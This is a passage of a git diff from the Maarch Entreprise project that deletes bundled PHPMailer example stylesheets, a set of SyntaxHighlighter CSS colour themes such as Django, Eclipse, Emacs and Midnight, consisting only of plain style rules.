!important;vertical-align:baseline !important;width:auto !important;box-sizing:content-box !important;font-family:"Consolas","Bitstream Vera Sans Mono","Courier New",Courier,monospace !important;font-weight:normal !important;font-style:normal !important;font-size:1em !important;min-height:inherit !important;min-height:auto !important;} -.syntaxhighlighter{width:100% !important;margin:1em 0 1em 0 !important;position:relative !important;overflow:auto !important;font-size:1em !important;} -.syntaxhighlighter.source{overflow:hidden !important;} -.syntaxhighlighter .bold{font-weight:bold !important;} -.syntaxhighlighter .italic{font-style:italic !important;} -.syntaxhighlighter .line{white-space:pre !important;} -.syntaxhighlighter table{width:100% !important;} -.syntaxhighlighter table caption{text-align:left !important;padding:.5em 0 0.5em 1em !important;} -.syntaxhighlighter table td.code{width:100% !important;} -.syntaxhighlighter table td.code .container{position:relative !important;} -.syntaxhighlighter table td.code .container textarea{box-sizing:border-box !important;position:absolute !important;left:0 !important;top:0 !important;width:100% !important;height:100% !important;border:none !important;background:white !important;padding-left:1em !important;overflow:hidden !important;white-space:pre !important;} -.syntaxhighlighter table td.gutter .line{text-align:right !important;padding:0 0.5em 0 1em !important;} -.syntaxhighlighter table td.code .line{padding:0 1em !important;} -.syntaxhighlighter.nogutter td.code .container textarea,.syntaxhighlighter.nogutter td.code .line{padding-left:0em !important;} -.syntaxhighlighter.show{display:block !important;} -.syntaxhighlighter.collapsed table{display:none !important;} -.syntaxhighlighter.collapsed .toolbar{padding:0.1em 0.8em 0em 0.8em !important;font-size:1em !important;position:static !important;width:auto !important;height:auto !important;} -.syntaxhighlighter.collapsed .toolbar span{display:inline !important;margin-right:1em !important;} -.syntaxhighlighter.collapsed .toolbar span a{padding:0 !important;display:none !important;} -.syntaxhighlighter.collapsed .toolbar span a.expandSource{display:inline !important;} -.syntaxhighlighter .toolbar{position:absolute !important;right:1px !important;top:1px !important;width:11px !important;height:11px !important;font-size:10px !important;z-index:10 !important;} -.syntaxhighlighter .toolbar span.title{display:inline !important;} -.syntaxhighlighter .toolbar a{display:block !important;text-align:center !important;text-decoration:none !important;padding-top:1px !important;} -.syntaxhighlighter .toolbar a.expandSource{display:none !important;} -.syntaxhighlighter.ie{font-size:.9em !important;padding:1px 0 1px 0 !important;} -.syntaxhighlighter.ie .toolbar{line-height:8px !important;} -.syntaxhighlighter.ie .toolbar a{padding-top:0px !important;} -.syntaxhighlighter.printing .line.alt1 .content,.syntaxhighlighter.printing .line.alt2 .content,.syntaxhighlighter.printing .line.highlighted .number,.syntaxhighlighter.printing .line.highlighted.alt1 .content,.syntaxhighlighter.printing .line.highlighted.alt2 .content{background:none !important;} -.syntaxhighlighter.printing .line .number{color:#bbbbbb !important;} -.syntaxhighlighter.printing .line .content{color:black !important;} -.syntaxhighlighter.printing .toolbar{display:none !important;} -.syntaxhighlighter.printing a{text-decoration:none !important;} -.syntaxhighlighter.printing .plain,.syntaxhighlighter.printing .plain a{color:black !important;} -.syntaxhighlighter.printing .comments,.syntaxhighlighter.printing .comments a{color:#008200 !important;} -.syntaxhighlighter.printing .string,.syntaxhighlighter.printing .string a{color:blue !important;} -.syntaxhighlighter.printing .keyword{color:#006699 !important;font-weight:bold !important;} -.syntaxhighlighter.printing .preprocessor{color:gray !important;} -.syntaxhighlighter.printing .variable{color:#aa7700 !important;} -.syntaxhighlighter.printing .value{color:#009900 !important;} -.syntaxhighlighter.printing .functions{color:#ff1493 !important;} -.syntaxhighlighter.printing .constants{color:#0066cc !important;} -.syntaxhighlighter.printing .script{font-weight:bold !important;} -.syntaxhighlighter.printing .color1,.syntaxhighlighter.printing .color1 a{color:gray !important;} -.syntaxhighlighter.printing .color2,.syntaxhighlighter.printing .color2 a{color:#ff1493 !important;} -.syntaxhighlighter.printing .color3,.syntaxhighlighter.printing .color3 a{color:red !important;} -.syntaxhighlighter.printing .break,.syntaxhighlighter.printing .break a{color:black !important;} -.syntaxhighlighter{background-color:#1b2426 !important;} -.syntaxhighlighter .line.alt1{background-color:#1b2426 !important;} -.syntaxhighlighter .line.alt2{background-color:#1b2426 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#323e41 !important;} -.syntaxhighlighter .line.highlighted.number{color:#b9bdb6 !important;} -.syntaxhighlighter table caption{color:#b9bdb6 !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#1b2426 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#5ba1cf !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#5ba1cf !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#5ce638 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#e0e8ff !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#b9bdb6 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#878a85 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#5ce638 !important;} -.syntaxhighlighter .keyword{color:#5ba1cf !important;} -.syntaxhighlighter .preprocessor{color:#435a5f !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#5ba1cf !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#e0e8ff !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:white !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeAppleScript.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeAppleScript.css deleted file mode 100755 index 7881bad442e7104ff183c67ea79218e9806913c4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeAppleScript.css +++ /dev/null @@ -1,21 +0,0 @@ -.syntaxhighlighter.applescript{background:white;font-size:1em;color:black;} -.syntaxhighlighter.applescript div,.syntaxhighlighter.applescript code{font:1em/1.25 Verdana,sans-serif !important;} -.syntaxhighlighter.applescript .code .line{overflow:hidden !important;} -.syntaxhighlighter.applescript .code .line.highlighted{background:#b5d5ff !important;} -.syntaxhighlighter.applescript .color1{color:#000000 !important;} -.syntaxhighlighter.applescript .color2{color:#000000 !important;} -.syntaxhighlighter.applescript .color3{color:#000000 !important;font-weight:bold !important;} -.syntaxhighlighter.applescript .keyword{color:#000000 !important;font-weight:bold !important;} -.syntaxhighlighter.applescript .color4{color:#0000ff !important;font-style:italic !important;} -.syntaxhighlighter.applescript .comments{color:#4c4d4d !important;} -.syntaxhighlighter.applescript .plain{color:#408000 !important;} -.syntaxhighlighter.applescript .string{color:#000000 !important;} -.syntaxhighlighter.applescript .commandNames{color:#0000ff !important;font-weight:bold !important;} -.syntaxhighlighter.applescript .parameterNames{color:#0000ff !important;} -.syntaxhighlighter.applescript .classes{color:#0000ff !important;font-style:italic !important;} -.syntaxhighlighter.applescript .properties{color:#6c04d4 !important;} -.syntaxhighlighter.applescript .enumeratedValues{color:#4a1e7f !important;} -.syntaxhighlighter.applescript .additionCommandNames{color:#0016b0 !important;font-weight:bold !important;} -.syntaxhighlighter.applescript .additionParameterNames{color:#0016b0 !important;} -.syntaxhighlighter.applescript .additionClasses{color:#0016b0 !important;font-style:italic !important;} -.syntaxhighlighter.applescript .spaces{display:inline-block;height:0 !important;font-size:1.75em !important;line-height:0 !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDefault.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDefault.css deleted file mode 100755 index 8034517ee87d05ff26c859570c61b0604821eba8..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDefault.css +++ /dev/null @@ -1,31 +0,0 @@ -.syntaxhighlighter{background-color:white !important;} -.syntaxhighlighter .line.alt1{background-color:white !important;} -.syntaxhighlighter .line.alt2{background-color:white !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#e0e0e0 !important;} -.syntaxhighlighter .line.highlighted.number{color:black !important;} -.syntaxhighlighter table caption{color:black !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #6ce26c !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#6ce26c !important;color:white !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:blue !important;background:white !important;border:1px solid #6ce26c !important;} -.syntaxhighlighter.collapsed .toolbar a{color:blue !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:red !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#6ce26c !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:black !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#008200 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:blue !important;} -.syntaxhighlighter .keyword{color:#006699 !important;} -.syntaxhighlighter .preprocessor{color:gray !important;} -.syntaxhighlighter .variable{color:#aa7700 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ff1493 !important;} -.syntaxhighlighter .constants{color:#0066cc !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#006699 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDjango.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDjango.css deleted file mode 100755 index 5cb724f9003635c89445d63130a1b6d42f27c404..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeDjango.css +++ /dev/null @@ -1,32 +0,0 @@ -.syntaxhighlighter{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.alt1{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.alt2{background-color:#0a2b1d !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#233729 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:#f8f8f8 !important;} -.syntaxhighlighter .gutter{color:#497958 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #41a83e !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#41a83e !important;color:#0a2b1d !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#96dd3b !important;background:black !important;border:1px solid #41a83e !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#96dd3b !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:white !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#41a83e !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#ffe862 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#f8f8f8 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#336442 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#9df39f !important;} -.syntaxhighlighter .keyword{color:#96dd3b !important;} -.syntaxhighlighter .preprocessor{color:#91bb9e !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#96dd3b !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#eb939a !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#91bb9e !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#edef7d !important;} -.syntaxhighlighter .comments{font-style:italic !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEclipse.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEclipse.css deleted file mode 100755 index b089c5d7c0c734183f4ab813123892310bb13d13..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEclipse.css +++ /dev/null @@ -1,34 +0,0 @@ -.syntaxhighlighter{background-color:white !important;} -.syntaxhighlighter .line.alt1{background-color:white !important;} -.syntaxhighlighter .line.alt2{background-color:white !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#c3defe !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:black !important;} -.syntaxhighlighter .gutter{color:#787878 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #d4d0c8 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#d4d0c8 !important;color:white !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#3f5fbf !important;background:white !important;border:1px solid #d4d0c8 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#3f5fbf !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#aa7700 !important;} -.syntaxhighlighter .toolbar{color:#a0a0a0 !important;background:#d4d0c8 !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:#a0a0a0 !important;} -.syntaxhighlighter .toolbar a:hover{color:red !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#3f5fbf !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#2a00ff !important;} -.syntaxhighlighter .keyword{color:#7f0055 !important;} -.syntaxhighlighter .preprocessor{color:#646464 !important;} -.syntaxhighlighter .variable{color:#aa7700 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ff1493 !important;} -.syntaxhighlighter .constants{color:#0066cc !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#7f0055 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:gray !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff1493 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:red !important;} -.syntaxhighlighter .keyword{font-weight:bold !important;} -.syntaxhighlighter .xml .keyword{color:#3f7f7f !important;font-weight:normal !important;} -.syntaxhighlighter .xml .color1,.syntaxhighlighter .xml .color1 a{color:#7f007f !important;} -.syntaxhighlighter .xml .string{font-style:italic !important;color:#2a00ff !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEmacs.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEmacs.css deleted file mode 100755 index a3dcfc92b0324c82d62f9a40d74d2e1666836408..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeEmacs.css +++ /dev/null @@ -1,30 +0,0 @@ -.syntaxhighlighter{background-color:black !important;} -.syntaxhighlighter .line.alt1{background-color:black !important;} -.syntaxhighlighter .line.alt2{background-color:black !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#2a3133 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:#d3d3d3 !important;} -.syntaxhighlighter .gutter{color:#d3d3d3 !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #990000 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#990000 !important;color:black !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#ebdb8d !important;background:black !important;border:1px solid #990000 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#ebdb8d !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#ff7d27 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#990000 !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#9ccff4 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#d3d3d3 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#ff7d27 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#ff9e7b !important;} -.syntaxhighlighter .keyword{color:aqua !important;} -.syntaxhighlighter .preprocessor{color:#aec4de !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#81cef9 !important;} -.syntaxhighlighter .constants{color:#ff9e7b !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:aqua !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#ebdb8d !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#ff7d27 !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#aec4de !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeFadeToGrey.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeFadeToGrey.css deleted file mode 100755 index d0b1c93e0d385e8f40d159e218cbba40c3da8b49..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeFadeToGrey.css +++ /dev/null @@ -1,31 +0,0 @@ -.syntaxhighlighter{background-color:#121212 !important;} -.syntaxhighlighter .line.alt1{background-color:#121212 !important;} -.syntaxhighlighter .line.alt2{background-color:#121212 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#2c2c29 !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:white !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #3185b9 !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#3185b9 !important;color:#121212 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#3185b9 !important;background:black !important;border:1px solid #3185b9 !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#3185b9 !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#d01d33 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#3185b9 !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#96daff !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:white !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#696854 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#e3e658 !important;} -.syntaxhighlighter .keyword{color:#d01d33 !important;} -.syntaxhighlighter .preprocessor{color:#435a5f !important;} -.syntaxhighlighter .variable{color:#898989 !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#aaaaaa !important;} -.syntaxhighlighter .constants{color:#96daff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#d01d33 !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#ffc074 !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:#4a8cdb !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#96daff !important;} -.syntaxhighlighter .functions{font-weight:bold !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMDUltra.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMDUltra.css deleted file mode 100755 index 6f712fd65876ba97abd1196ada65df664136fe91..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMDUltra.css +++ /dev/null @@ -1,30 +0,0 @@ -.syntaxhighlighter{background-color:#222222 !important;} -.syntaxhighlighter .line.alt1{background-color:#222222 !important;} -.syntaxhighlighter .line.alt2{background-color:#222222 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#253e5a !important;} -.syntaxhighlighter .line.highlighted.number{color:white !important;} -.syntaxhighlighter table caption{color:lime !important;} -.syntaxhighlighter .gutter{color:#38566f !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#222222 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#428bdd !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#428bdd !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:lime !important;} -.syntaxhighlighter .toolbar{color:#aaaaff !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:#aaaaff !important;} -.syntaxhighlighter .toolbar a:hover{color:#9ccff4 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:lime !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#428bdd !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:lime !important;} -.syntaxhighlighter .keyword{color:#aaaaff !important;} -.syntaxhighlighter .preprocessor{color:#8aa6c1 !important;} -.syntaxhighlighter .variable{color:aqua !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ff8000 !important;} -.syntaxhighlighter .constants{color:yellow !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#aaaaff !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:red !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:yellow !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMidnight.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMidnight.css deleted file mode 100755 index e9c177e6e6d6b27f1f7d86cd00c1574be486fc70..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeMidnight.css +++ /dev/null @@ -1,30 +0,0 @@ -.syntaxhighlighter{background-color:#0f192a !important;} -.syntaxhighlighter .line.alt1{background-color:#0f192a !important;} -.syntaxhighlighter .line.alt2{background-color:#0f192a !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#253e5a !important;} -.syntaxhighlighter .line.highlighted.number{color:#38566f !important;} -.syntaxhighlighter table caption{color:#d1edff !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#0f192a !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#428bdd !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#428bdd !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#1dc116 !important;} -.syntaxhighlighter .toolbar{color:#d1edff !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:#d1edff !important;} -.syntaxhighlighter .toolbar a:hover{color:#8aa6c1 !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#d1edff !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#428bdd !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#1dc116 !important;} -.syntaxhighlighter .keyword{color:#b43d3d !important;} -.syntaxhighlighter .preprocessor{color:#8aa6c1 !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#f7e741 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#b43d3d !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#f8bb00 !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:white !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeRDark.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeRDark.css deleted file mode 100755 index 42d8710f571a810699b35096623a3bf673c1ca31..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeRDark.css +++ /dev/null @@ -1,30 +0,0 @@ -.syntaxhighlighter{background-color:#1b2426 !important;} -.syntaxhighlighter .line.alt1{background-color:#1b2426 !important;} -.syntaxhighlighter .line.alt2{background-color:#1b2426 !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#323e41 !important;} -.syntaxhighlighter .line.highlighted.number{color:#b9bdb6 !important;} -.syntaxhighlighter table caption{color:#b9bdb6 !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #435a5f !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#435a5f !important;color:#1b2426 !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:#5ba1cf !important;background:black !important;border:1px solid #435a5f !important;} -.syntaxhighlighter.collapsed .toolbar a{color:#5ba1cf !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:#5ce638 !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#435a5f !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:#e0e8ff !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:#b9bdb6 !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#878a85 !important;} -.syntaxhighlighter .string,.syntaxhighlighter .string a{color:#5ce638 !important;} -.syntaxhighlighter .keyword{color:#5ba1cf !important;} -.syntaxhighlighter .preprocessor{color:#435a5f !important;} -.syntaxhighlighter .variable{color:#ffaa3e !important;} -.syntaxhighlighter .value{color:#009900 !important;} -.syntaxhighlighter .functions{color:#ffaa3e !important;} -.syntaxhighlighter .constants{color:#e0e8ff !important;} -.syntaxhighlighter .script{font-weight:bold !important;color:#5ba1cf !important;background-color:none !important;} -.syntaxhighlighter .color1,.syntaxhighlighter .color1 a{color:#e0e8ff !important;} -.syntaxhighlighter .color2,.syntaxhighlighter .color2 a{color:white !important;} -.syntaxhighlighter .color3,.syntaxhighlighter .color3 a{color:#ffaa3e !important;} diff --git a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeVisualStudio.css b/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeVisualStudio.css deleted file mode 100755 index 8ed369f58862af5e8ed9b2b749326f65be0b89b4..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/examples/styles/shThemeVisualStudio.css +++ /dev/null @@ -1,31 +0,0 @@ -.syntaxhighlighter{background-color:white !important;} -.syntaxhighlighter .line.alt1{background-color:white !important;} -.syntaxhighlighter .line.alt2{background-color:white !important;} -.syntaxhighlighter .line.highlighted.alt1,.syntaxhighlighter .line.highlighted.alt2{background-color:#e0e0e0 !important;} -.syntaxhighlighter .line.highlighted.number{color:black !important;} -.syntaxhighlighter table caption{color:black !important;} -.syntaxhighlighter .gutter{color:#afafaf !important;} -.syntaxhighlighter .gutter .line{border-right:3px solid #6ce26c !important;} -.syntaxhighlighter .gutter .line.highlighted{background-color:#6ce26c !important;color:white !important;} -.syntaxhighlighter.printing .line .content{border:none !important;} -.syntaxhighlighter.collapsed{overflow:visible !important;} -.syntaxhighlighter.collapsed .toolbar{color:blue !important;background:white !important;border:1px solid #6ce26c !important;} -.syntaxhighlighter.collapsed .toolbar a{color:blue !important;} -.syntaxhighlighter.collapsed .toolbar a:hover{color:red !important;} -.syntaxhighlighter .toolbar{color:white !important;background:#6ce26c !important;border:none !important;} -.syntaxhighlighter .toolbar a{color:white !important;} -.syntaxhighlighter .toolbar a:hover{color:black !important;} -.syntaxhighlighter .plain,.syntaxhighlighter .plain a{color:black !important;} -.syntaxhighlighter .comments,.syntaxhighlighter .comments a{color:#008200 !important;} 